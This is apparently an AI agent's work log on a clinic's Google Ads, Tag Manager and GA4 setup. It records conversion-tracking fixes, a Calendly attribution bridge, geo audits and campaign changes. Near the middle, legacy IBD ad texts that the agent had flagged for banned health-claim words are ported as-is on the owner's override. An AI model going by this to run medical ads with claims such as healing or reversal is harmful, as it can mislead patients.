optimize for those calendly events"). (A) ROOT CAUSE of discovery_call_click undercount (45 users tracked vs 174 who reached the widget): the 13 legacy linkClick triggers require Click Text contains "Schedule Discovery Call" (NO "a") AND Page Path contains /service/ — but ad LPs say "Schedule a Discovery Call" on /fix-ibd-naturally/. Both conditions miss. FIX = ONE URL-based trigger (id 34) "Click URL contains /discovery" attached to GA4 discovery_call_click + AW 408 Discovery Call Button Click; legacy 13 retained (GTM fires a tag once per event even when several triggers match = no double-count). GTM v6 published, verified E2E live (clicked real CTA → gtm.linkClick → discovery_call_click in GA4 realtime; 1 test event in data). (B) KILLER FINDING: all invitee_ Calendly events fire on hostname calendly.com and attribute 100% Direct — so importing them to Ads = ZERO attributed conversions, useless for bidding. FIX = postMessage bridge: GTM Custom HTML on /discovery/ listens for Calendly window messages (origin-checked https://calendly.com, guard flag __mgiCalBridge) and re-pushes as PARENT-domain dataLayer events cal_event_type_viewed / cal_date_time_selected / cal_event_scheduled → GA4 tags + NEW Ads conversion action 7736374788 "Discovery Call Booked — Calendly (on-domain)" ($50, ONE_PER_CLICK, SECONDARY, label rLrdCITs_ugcEMCH2rxE). Fires on mind-gut-immunity.com where the gclid cookie lives ⇒ bookings become attributable WITHOUT fixing the Calendly redirect. GTM v7 published. (C) GA4 key events added: invitee_select_day/_time/_meeting_scheduled + cal_event_scheduled + cal_date_time_selected. (D) BIDDING BLOCKER: all 8 campaigns are TARGET_SPEND = Maximize Clicks — conversions do NOT drive bidding at all, which is the REAL mechanism behind the informational-query drift (Max Clicks literally buys cheapest clicks). Optimizing for anything requires Max Conversions switch = David's call (learning-phase rule). TRAPS: create_version CONSUMES the workspace ("Workspace is already submitted" on next write → create a new workspace); gtm.js is browser-cached ~15min so a just-published version won't appear in an open tab (prove via fetch cache:'force-cache' vs 'reload' byte/marker diff — 467162 no-bridge vs 469324 bridge); this Claude browser has ERR_BLOCKED_BY_CLIENT tracking-blocking so Calendly renders blank + tags don't execute = NOT a site fault. 2026-08-27 BOOKING DROUGHT DIAGNOSED (3 days, 0 bookings, ~$790 spend). Chain: (1) bookings 6 on Aug21-24 → 0 on Aug25-27; (2) NOT the widget — /discovery/ Calendly embed live, real users still firing invitee_event_type_page (16 on Aug26); my headless browser renders it blank = Calendly blocks automation, NOT an outage; (3) real break = LP→/discovery/ CTA click-through HALVED 16.5% (29/176 Aug24) → 6-7% (10/161, 15/205); (4) campaign+device mix UNCHANGED, so not traffic composition; (5) CAUSE = search-term drift to informational: Aug24 top terms 'colitis TREATMENT'/'UC treatment' → Aug25-26 'colitis symptoms'(13), bare 'colitis'(11), 'what is colitis', 'what causes colitis'. 228 clicks/160 unique terms after vs 90/71 before = broad match expanding. (6) ROOT CAUSE = the redirect domain break: conv=0 reaching Google ⇒ bidding has ZERO signal to steer toward converters ⇒ drifts to cheapest informational clicks. Everything traces back to the one unfixed Calendly URL. CAUTION before negativing symptom terms: 'Intestinal Inflammation — Symptom Language' campaign targets symptom queries BY DESIGN — David's call, don't unilaterally negative. ALSO FOUND on /fix-ibd-naturally/: malformed tag firing id=AW-AW-18380915648 (doubled prefix = dead tag) + legacy account tag AW-10842100698 + TWO GTM containers (GTM-N2GDXJ8 old + GTM-NBQBWTR8 ours) both live. Funnel shape note: LP→/discovery/→Calendly = extra hop, only 7-16% of paid sessions reach /discovery/ at all. 2026-08-26 GEO AUDIT (David asked twice — right instinct): 3-layer check. Criteria ✓ all campaigns 5-geo. BUT (a) PMax was on PRESENCE_OR_INTEREST default → flipped to PRESENCE via campaigns:mutate (updateMask geo_target_type_setting.*) — all campaigns now PRESENCE; (b) user_location_view ground truth: the worldwide window actually SERVED Aug 21-23 (enable propagated Aug 21, 5-country lock landed eve of Aug 23 not Aug 20 as I'd claimed) = $459 outside the 5 (~$400 search real-CPC incl AU/IN/ZA + $59 PMax junk PK/BD/NP). Aug 24-26 = $0.00 outside, 3 straight clean days. LESSON: geo verification = criteria + geoTargetTypeSetting + user_location_view actuals, never criteria alone. 2026-08-25: booking #6 (Aug 24 realtime catch) = host mgiclinic.com, source youtube.com/referral (organic, channel flywheel) ⇒ redirect STILL on old domain — David told fix again w/ exact URL. Ads conv still 0.0; ~$2,050 paid spend to date unattributable until flip. 2026-08-24 FOUR-DAY READOUT: BOOKINGS FIRING BUT ON WRONG DOMAIN. GA4 booking_confirmed ×5 (Aug 21 ×1, 22 ×3, 23 ×1) — Calendly redirect WORKS but ALL on hostname www.mgiclinic.com ⇒ redirect URL was set to the OLD domain → paid bookers' _gcl_aw gclid cookie (set on mind-gut-immunity.com) unreachable on mgiclinic ty page ⇒ Ads conv=0.0 despite real bookings — attribution severed by cross-domain cookie boundary. FIX (David/Chanu 30s): change Calendly redirect to https://www.mind-gut-immunity.com/thank-you-confirmation/ exactly. Also: paused-PMax reported residual junk clicks 2 days (2,524+5,662 @ $0.007 = $59 total, gone by Aug 24 — paused status held, benign reporting residual, no action). Search side healthy ~230 clicks/$290/day @ ~$1.27. change_event GAQL needs BOTH date bounds (single >= → 400). 2026-08-20 PM4: CALENDLY CONFIRMED by David ("calendly confirmed") — loop should close; no booking_confirmed yet post-flip (0 processed+realtime at check); booking Monitor re-armed (script re-written — scratchpad files get CLEANED between sessions, exit 127 trap). ⚠⚠ PMAX JUNK EXPLOSION day 1 of IBD creatives: 5,691 clicks @ $0.007 CPC / $40 (search side healthy: 187 clicks ~$1 CPC) — the exact old-account disease, budget-capped $25/day; Site—All-visitors pool REMOVED from retargeting targeting (pool-poisoning mitigation; PMax bouncers flood that list). PAUSE-PMax recommendation put to David → David: "Pause pmax" → PAUSED same minute (total PMax cost of the experiment ~$40; revive trigger = booking signal live, ~15+ conversions, then re-enable w/ IBD creatives already loaded). 2026-08-20 PM3: GEO LOCKED TO CONVERTERS (David: only countries that converted in 841): 841 all-time by country — US 7,334conv/$19(polluted) · UK 24/$518 · CA 13/$643 · UAE 7/$276 · SA 2/$180 · NL 1 · AU/DE 0; 841 was never worldwide (8 countries only). New account now POSITIVE-targets US+UK+CA+UAE+SA on all 10 active campaigns (50 criteria; India/PH negatives removed as redundant; Intl shell untouched). Worldwide era lasted <24h. 2026-08-20 PM2: geo exclusions + PMax as-is port EXECUTED: India(2356)+Philippines(2608) excluded on all 11 campaigns. PMax asset group 6742093023 re-themed with legacy IBD bank AS-IS per David (informed override of banned-word flags): final = 15 H (dropped "Fix IDB Naturally" typo + "Visit MGI Clinics" for 15-cap) / 5 LH / 5 D (4 legacy + my 59ch short for ≤60 rule; dropped "Skip the guesswork" + "free discovery call" line — free=false, call is $50) / 19 images (9 landscape+5 square+5 portrait, fields preserved) / 5 of 14 videos (Google cap). My launch creative removed. Dedupe-tolerant asset creation (DUPLICATE→GAQL lookup). TRAP: asset_group filter = asset_group.campaign not campaign. GA4 ads-clicks how-to given (Acquisition→Overview→Google Ads campaigns report = clicks+cost beside sessions). 2026-08-20 PM: 147-vs-47 CLICK GAP diagnosed (Ads 147 clicks today vs GA4 ~48 cpc sessions): US 68 clicks→44 sessions (65% yield, normal+lag); INTERNATIONAL 79 clicks→~4 sessions (~5%!) — India 24 clicks/0 sessions = worldwide's junk-click cost visible day 1; GA4 intraday lag compounds. No tracking defect. Lever offered: revert to client 6 markets or exclude worst geos at day-7. IBD-PMAX CREATIVE BANK pulled from 841 per David ("wrong ad for PMax — supposed to be IBD"): 19 images downloaded + 28 texts + 14 YT videos → gallery hub/pmax-creatives/ (mgi-clinic-launch-board.netlify.app/pmax-creatives/); most legacy TEXT = banned-word violations (Heal/Reversal/Fix/Permanently/"Free Discovery Call"-now-$50, "1,000+ studies", typo "Fix IDB") flagged ⚑ in gallery; images/videos port as-is, texts need compliant rewrites; AWAITING David's picks to re-theme new PMax asset group. 2026-08-20 SCALE-UP EXECUTED (David's explicit informed override: "GO despite the zero" + "turn worldwide on for existing campaigns"): (1) WORLDWIDE live on all 8 search campaigns — removed positive US location criteria (no location = worldwide; language EN retained as rail); the intl-ex-US duplicate campaign built minutes earlier → PAUSED as redundant (keep for rollback: re-add US criteria to campaigns via geoTargetConstants/2840 + unpause intl). (2) PMax — Discovery Bookings ENABLED 24164407844: $25/day, maximizeConversions, worldwide EN, Booking-only goal, CM exclusion ok, asset group "Discovery Bookings" → fix-ibd LP; assets scraped from live site (Chanu scrubs portrait 922², maxresdefault still 1024x536, MGI logo padded 500²). PMax API traps (playbook): urlExpansionOptOut field GONE in v23 (URL expansion = ON, flag: UI toggle to opt out); Brand Guidelines enabled ⇒ campaign creation REQUIRES BUSINESS_NAME + LOGO as campaignAssets in the SAME atomic googleAds:mutate (temp resource IDs across assetOperation/campaignOperation/campaignAssetOperation/assetGroupOperation); health-condition search THEMES = non-exemptible SEARCH_THEME_POLICY_VIOLATION (themes are audience signals, unlike keywords) → PMax runs signal-less, steered by copy+LP. Total live budget now $400/day (8 search worldwide $375 + PMax $25) + 2 paused shells (Retargeting awaiting pools/creative, Intl duplicate). ALL still blind until Calendly confirm. 2026-08-20 SCALE-UP REQUEST + LOOP-BROKEN EVIDENCE: David ordered "Turn on Worldwide, PMax, Retargeting." Data at that moment: 3 days $649.53/296 clicks/0.0 conv; GA4 pools: Calendly-widget-openers 110, CTA 16, Booked=0 ⇒ Calendly redirect ~certainly NOT flipped; bookings likely happening INVISIBLY on Calendly's native confirmation. Pushed back with data; DONE anyway (safe parts): (1) GTM v5 published — "AW 408 — Remarketing (all pages)" tag (type sp) — was MISSING since combo build (site user lists stuck at 0; conversion tags ≠ remarketing hits — TRAP for playbook); (2) "Retargeting — Display Warm Pools" campaign built PAUSED ($15/day, DISPLAY, ceiling $1.50, Booking-only goal, exclusions=CM+Site-Booked+GA4-Booked, ad group "Warm Pools" TARGETS 7 pools) — blocked on: RDA creative (2 imgs+logo from Dropbox) + pool serving minimums. CM list matched ~58% → search 900 / display 800 (<1,000 = no search targeting; display OK). Worldwide + PMax NOT executed — gated on David's explicit confirm after seeing 0-conv data (plan: separate international campaign, never geo-edit existing; PMax needs conv signal + image assets). PROVEN WINNERS CAMPAIGN built+LIVE 2026-08-19 (David's call; my objections conceded — Max Clicks = no conversion-learning to reset, pause-in-place = reversible): campaign 24159895826 "Proven Winners — Legacy Converters" $75/day NEW money (total now $375/day, 8 campaigns), $3 ceiling, 6 donor-mirrored ad groups (Specialist Near Me / Crohn's Doctor-Specialist / UC Doctor-Specialist / Inflammation Treatment / Crohn's Treatment / UC Treatment) each w/ its donor's exact RSA cloned = message match preserved; 21 kw criteria (13 texts) w/ health-policy exemptions; FULLY WIRED (geo/lang, 2 shared neg sets, 5 brand-routing negs, CM exclusion, 8 obs audiences bid-only, Booking-only custom goal). 21 originals PAUSED in donors (not removed — rollback = unpause+pause). Label "Legacy Proven 13" migrated to new criteria (label 22271491248). Builder clients/mgi/plan/build_proven_winners.py (--flip arg gates enable+pause pass). TRAPS: donor AGs with IDENTICAL names across campaigns (UC + Crohn's both "Doctor / Specialist") merge in name-keyed mirrors → split needed; renamed mirror AG + idempotent rerun re-creates empty orphan (remove). KEYWORD-CHALLENGE AUDIT 2026-08-19 (David: why aren't 841's top converters in the plan?): 5/9 of his list ARE live in 408 (crohn's specialist, treatment-for-intestinal-inflammation, inflamed-large-intestine-treatment, UC-treatment, doctor-for-UC — 3 served day 1). All-time 841 receipts for the 4 excluded: [natural remedies for UC] 12.3conv/$312 CPA + [how to cure UC permanently] 6conv/$174 CPA = exclusions CONTRADICTED by data → queue as EXACT adds into Discovery Net at day-7 review (needs "remedies" carved from NEG_DIY shared set — negatives override positives); "best food for UC" 12.8conv/$295 = hold until a diet-framed LP exists (angle-match doctrine); [crohn's remission w/o medication] 2conv/$628 + policy risk = stays out. NEW FINDING: 841's top "ads" incl. HERNIA SURGERY ads (5,082 "conv" @ $1) — the account was shared with Dasari's surgical practice + the $1 CPAs = polluted conversion counting on display; lupus "winners" carry banned REVERSE + 10,000+ claims. Legit-ish old winners ($17-30 CPA, still inflated): "Crohn's Treatment That Works / Gut Flora Reset by Dr. Dasari / Schedule Discovery Call" — DNA already in v2.1 banks compliantly (Board-Certified GI Surgeon / Former IBD Patient Now GI MD / A New Method / Book a $50 Discovery Call). FUNNEL EXPLORATION added 2026-08-19 (tab 2 of the shared exploration): 5 closed-funnel steps — Ad landing [page_view+page_location~mind-gut-immunity.com] → Viewed discovery [~discovery] → discovery_call_click → invitee_event_type_page → booking_confirmed. DAY-1 FUNNEL: 66 landers → 4 discovery (6.1%) → 0 → 0 → 0 = the 94% landing-page leak IS the baseline the LP Angle Plan attacks. CAVEAT: closed funnel misses CTA-clicks that skip /discovery (1 real paid CTA click happened directly on fix-ibd — bypassed step 2). TRUTH-CORRECTION: Aug-18 ty-page sessions + booking_confirmed ×1 on mind-gut = MY TEST LOADS, not real bookings; Ads conv=0.0 day 1 ($151.73/66 clicks); real signals: paid discovery_call_click ×1 + ORGANIC funnel now measurable (discovery_call_click ×6/day on mgiclinic.com via dual-container). Calendly redirect REMAINS unconfirmed by real data. ⚠ rapt token death is DAILY (~24h) — killed the booking Monitor silently; restarted fault-visible (announces AUTH DEAD instead of silence); admin.google.com session-control fix = the cure, still undone. Funnel-step editor traps: event picker via typed search; param filter = popover (page_location under "Other"); steps auto "is indirectly followed by". GA4 EXPLORATION built+shared 2026-08-18: "MGI — Traffic by Domain & Landing Page" (free-form: rows Hostname→Landing page, values Sessions/Engaged/Key events, 25 rows, date=Today; shared READ-ONLY to all property users; URL .../analysis/a230858542p318014139/edit/h6imhvExRP-wCMqABgj4xA). GA4-UI traps: exploration name field rejects typed input — use form_input on its ref; chip remove = hover→⊗; metric/dim pickers = click "+ Drop or select"; share icon → confirm dialog → "Exploration shared with users" toast. Same-day check confirmed GA4 processed today's ad traffic (~2h lag: mind-gut rows w/ 1 key event visible). LAUNCH PERFORMANCE REPORT built → mgi-clinic-launch-board.netlify.app/performance/ (generator clients/mgi/plan/build_performance.py — pulls Ads today-metrics/landing pages/keywords/search terms + GA4 channels/hostnames/funnel events at BUILD time; static snapshot w/ 15-min meta-refresh; regen = run script + deploy.sh; linked from board header 🟢 LIVE chip). Refresh cadence = on David's ask or when checking in. 2026-08-18: TY-PAGE CONVERSION FIRE VERIFIED live on the official page (David: mind-gut-immunity.com/thank-you-confirmation): fresh browser load → google_tag_manager registers [GTM-NBQBWTR8, GTM-N2GDXJ8, AW-18380915648, AW-10842100698], ty_event_fired=true guard cookie SET (setter shares the booking-conv trigger → conv tag executed), consent event pushed, _gcl_au linker alive. Trigger = Page URL contains /thank-you-confirmation (any protocol/www/slash variant fires). ⚠ Legacy WP page /thank-you/ (Feb 2025, non-Elementor) does NOT fire it — Calendly must redirect to thank-you-confirmation exactly. No-gclid test loads don't pollute Ads reporting (unattributed). Verification method: in-page JS state read beats network-log capture (pane misses cross-origin pings); WPE-side injection = site-wide MU-plugin, confirmed ×2 snippets on both ty pages. Audience wiring COMPLETE 2026-08-17: 8 obs lists + CM exclusion on all 7 campaigns; CRITICAL SAVE — campaigns were audience-mode 'targeting' (bid_only=False), would have served ZERO traffic at enable with lists attached; flipped all 7 to observation BEFORE attaching. Always verify targeting_setting before attaching audiences.**